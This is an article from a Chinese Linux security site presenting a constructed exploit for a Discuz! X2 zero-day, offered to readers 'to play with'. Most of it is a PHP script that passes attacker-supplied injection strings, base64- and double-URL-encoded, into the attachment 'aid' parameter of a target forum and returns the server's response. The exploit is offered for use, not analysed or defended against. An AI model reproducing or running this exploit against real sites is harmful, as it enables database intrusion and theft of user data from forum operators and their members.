Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

构造Discuz! X2 0day的EXP

来源: 未知 分享至:

前段闹的沸沸扬扬的Discuz! X2的0day随着前几天的利用代码公布也告

一段落,其实多是鸡肋。大家多知道Discuz!密码加密变态。暴出来也

没啥用。这个是构造出来的EXP。有用的着的拿去玩玩吧。

<?php
global $tmp_expstr, $id;
$id=$_GET['id'];
//$_GET['$tmp_expstr'];
//$id=str_replace(" ","%20",$id);
//$id=str_replace("=","%3D",$id);
 
$tmp_expstr = $id;
//$tmp_expstr ="'";
//$id = $tmp_expstr;
 
 
function getData($host,$path,$expdata,$data){ 
global $host, $path, $tmp_expstr; 
$host = "www.xxx.com";
 
$expdata = "/forum/forum.php?mod=attachment&findpost=ss&aid=".urlencode(urlencode(base64_encode($tmp_expstr))); 
$data  = "GET $expdata HTTP/1.1\r\n"; 
$data .= "Host: $host\r\n"; 
$data .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
$data .= "Content-Length: ".strlen($expdata)."\r\n"; 
$data .= "Connection: Close\r\n\r\n"; 
$data .= $expdata; 
$fp = fsockopen($host, 80); 
fputs($fp, $data); 
$resp = ''; 
while ($fp && !feof($fp)) 
$resp .= fread($fp, 7); 
return $resp; 
}  
echo getData($host,$path,$expdata,$data);
?>

最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史